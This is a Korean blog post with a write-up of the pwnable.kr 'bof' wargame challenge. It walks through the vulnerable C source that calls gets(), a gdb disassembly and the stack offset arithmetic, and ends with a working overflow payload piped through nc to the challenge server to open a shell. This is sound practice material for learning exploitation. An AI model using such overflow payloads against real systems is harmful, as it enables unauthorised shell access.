반응형

Nana told me that buffer overflow is one of the most common software vulnerability. 

Is that true?


Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c


Running at : nc pwnable.kr 9000



파파고 번역

############################################################

나나는 버퍼 오버플로가 가장 흔한 소프트웨어 취약점 중 하나라고 말했다.

진짜예요?



다운로드: http://pwnable.kr/bin/bof

다운로드: http://pwnable.kr/bin/bofc


실행 시간: nc pwnable.kr 9000


########################################################################



잠시 알고리즘 문제들을 풀다가 돌아왔다.

막힘이 있을때 다른 곳으로 눈을 돌리는 경향이 있는거같다.

풀이는 https://marcokhan.tistory.com/223사이트를 참고하였다.


버퍼 오버플로문제이다.

먼저 wget을 통해 다운받아보자


wget http://pwnable.kr/bin/bof

wget http://pwnable.kr/bin/bof.c


위 명령어 들을 통해 다운받고 소스를 확인해보자


#################################################################

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void func(int key){

        char overflowme[32];

        printf("overflow me : ");

        gets(overflowme);       // smash me!

        if(key == 0xcafebabe){

                system("/bin/sh");

        }

        else{

                printf("Nah..\n");

        }

}

int main(int argc, char* argv[]){

        func(0xdeadbeef);

        return 0;

}

####################################################################



c소스 파일을 보면 gets 함수를 사용하는 것을 볼수있다.

gets함수는 대표적으로 오버플로에 취약한 함수이다.주석으로 힌트도 주고있다.

func 함수의 인자가 0xcafebabe일때 쉘을 실행할수있따.

그런데 인자를 받는것이 아니라 직접 지정하여 들어가 있는 것을 확인할수있다.


먼저 gdb를 통해 확인해보자

gdb란

https://m.blog.naver.com/PostView.nhn?blogId=mububja119&logNo=130119472091&proxyReferer=https%3A%2F%2Fwww.google.com%2F


gdb설치

http://www.gdbtutorial.com/tutorial/how-install-gdb


gdb명령어

https://mintnlatte.tistory.com/581


gdb 사용법 영상으로 배우기

https://www.youtube.com/watch?v=jyOoUxzrtTw


(gdb) set disassembly-flavor intel

(gdb) disas func

Dump of assembler code for function func:

   0x0000062c <+0>:     push   ebp

   0x0000062d <+1>:     mov    ebp,esp

   0x0000062f <+3>:     sub    esp,0x48

   0x00000632 <+6>:     mov    eax,gs:0x14

   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax

   0x0000063b <+15>:    xor    eax,eax

   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c

   0x00000644 <+24>:    call   0x645 <func+25>

   0x00000649 <+29>:    lea    eax,[ebp-0x2c]

   0x0000064c <+32>:    mov    DWORD PTR [esp],eax

   0x0000064f <+35>:    call   0x650 <func+36>

   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe

   0x0000065b <+47>:    jne    0x66b <func+63>

   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b

   0x00000664 <+56>:    call   0x665 <func+57>

   0x00000669 <+61>:    jmp    0x677 <func+75>

   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3

   0x00000672 <+70>:    call   0x673 <func+71>

   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]

   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14

   0x00000681 <+85>:    je     0x688 <func+92>

   0x00000683 <+87>:    call   0x684 <func+88>

   0x00000688 <+92>:    leave

   0x00000689 <+93>:    ret

End of assembler dump.



func 함수를 살펴보면


0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe 에서

키값과 0xcafebabe를 비교하고있다

키값은 edp+0x8에 들어가는 것을 알 수 있다.


ebp란 현재 스택에 가장 바닥을 가르키는 포인터이다.

esp란 현재 스택의 가장 위에 들어있는 데이터를 가르키는 포인터이다.


그리고 키값을 비교하기전 gets함수를 실행시키기전 overflowme를 불러오는 곳

0x00000649 <+29>:    lea    eax,[ebp-0x2c] 을보면

overflowme의 위치가 ebp-0x2c임을 알수있다.

edp+0x8에 0xcafebabe가 들어갈수 있도록 해주어야한다.

10진수로 바꾸어보면 32(2)+(12)c+8은 52가 나온다.


스택은 거꾸로자란다.


overflowme[32]    ebp-0x2c

dummy[12]

ebp+ret[8]          epb+0x8

key[4]               


쓰레기값 52바이트를 넣어주고 키의 위치에 우리가 원하는 cafebabe를 넣어주면된다.




입력방식은 앞서 사용했던 실행과 동시에 인자를 넘겨주는방식과는 다르다.

실행 후 표준입력을 통해 입력할 내용을 넣어주기 위해선 파이프 명령어를 사용해야한다.

https://nogadaworks.tistory.com/57

최종 페이로드

(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000


페이로드 작성이 어렵다

cat을 붙이는 이유

https://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=1950


가장 기본이 되는 오버플로우도 어렵다. 이해가 가지않는부분이 있어 많은 사이트를 찾아보았다.

페이로드를 작성하는데 있어 리틀엔디언 방식이라든가 파이썬 입출력 등을 활용하는 방법은 굉장히 생소하다. 뒤에문제들도 얼마나 어려울지...


반응형

'보안 > pwnable.kr' 카테고리의 다른 글

pwnable.kr random  (0) 2020.03.03
pwnable.kr passcode  (0) 2020.01.30
pwnable.kr flag  (0) 2020.01.30
pwnable.kr collision  (0) 2019.12.11
pwnable.kr fd  (1) 2019.12.11
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기